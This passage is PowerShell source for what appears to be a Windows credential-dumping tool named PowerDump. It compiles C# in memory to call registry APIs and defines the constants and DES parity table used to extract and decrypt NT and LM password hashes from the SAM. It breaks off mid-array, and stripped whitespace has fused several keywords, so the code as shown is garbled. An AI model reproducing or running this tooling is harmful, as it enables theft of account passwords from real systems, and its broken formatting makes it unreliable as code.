functionLoadApi{$oldErrorAction=$global:ErrorActionPreference;$global:ErrorActionPreference="SilentlyContinue";$test=[PowerDump.Native];$global:ErrorActionPreference=$oldErrorAction;if($test){# already loadedreturn;}$code=@'
using System;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Text;
namespace PowerDump
{
public class Native
{
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
int hKey,
string subKey,
int ulOptions,
int samDesired,
out int hkResult);
[DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
extern public static int RegEnumKeyEx(
int hkey,
int index,
StringBuilder lpName,
ref int lpcbName,
int reserved,
StringBuilder lpClass,
ref int lpcbClass,
out long lpftLastWriteTime);
[DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
extern public static int RegQueryInfoKey(
int hkey,
StringBuilder lpClass,
ref int lpcbClass,
int lpReserved,
out int lpcSubKeys,
out int lpcbMaxSubKeyLen,
out int lpcbMaxClassLen,
out int lpcValues,
out int lpcbMaxValueNameLen,
out int lpcbMaxValueLen,
out int lpcbSecurityDescriptor,
IntPtr lpftLastWriteTime);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern int RegCloseKey(
int hKey);
}
} // end namespace PowerDump
public class Shift {
public static int Right(int x, int count) { return x >> count; }
public static uint Right(uint x, int count) { return x >> count; }
public static long Right(long x, int count) { return x >> count; }
public static ulong Right(ulong x, int count) { return x >> count; }
public static int Left(int x, int count) { return x << count; }
public static uint Left(uint x, int count) { return x << count; }
public static long Left(long x, int count) { return x << count; }
public static ulong Left(ulong x, int count) { return x << count; }
}
'@$provider=New-ObjectMicrosoft.CSharp.CSharpCodeProvider$dllName=[PsObject].Assembly.Location$compilerParameters=New-ObjectSystem.CodeDom.Compiler.CompilerParameters$assemblies=@("System.dll",$dllName)$compilerParameters.ReferencedAssemblies.AddRange($assemblies)$compilerParameters.GenerateInMemory=$true$compilerResults=$provider.CompileAssemblyFromSource($compilerParameters,$code)if($compilerResults.Errors.Count-gt0){$compilerResults.Errors|%{Write-Error("{0}:`t{1}"-f$_.Line,$_.ErrorText)}}}$antpassword=[Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");$almpassword=[Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");$empty_lm=[byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);$empty_nt=[byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);$odd_parity=@(1,1,2,2,4,4,7,7,8,8,11,11,13,13,14,14,16,16,19,19,21,21,22,22,25,25,26,26,28,28,31,31,32,32,35,35,37,37,38,38,41,41,42,42,44,44,47,47,49,49,50,50,52,52,55,55,56,56,59,59,61,61,62,62,64,64,67,67,69,69,70,70,73,73,74,74,76,76,79,79,81,81,82,82,84,84,87,87,88,88,91,91,93,93,94,94,97,97,98,98,100,100,103,103,104,104,107,107,109,109,110,110,112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,193,193,194,194,196,196,199,199,200,200,203,203,205,2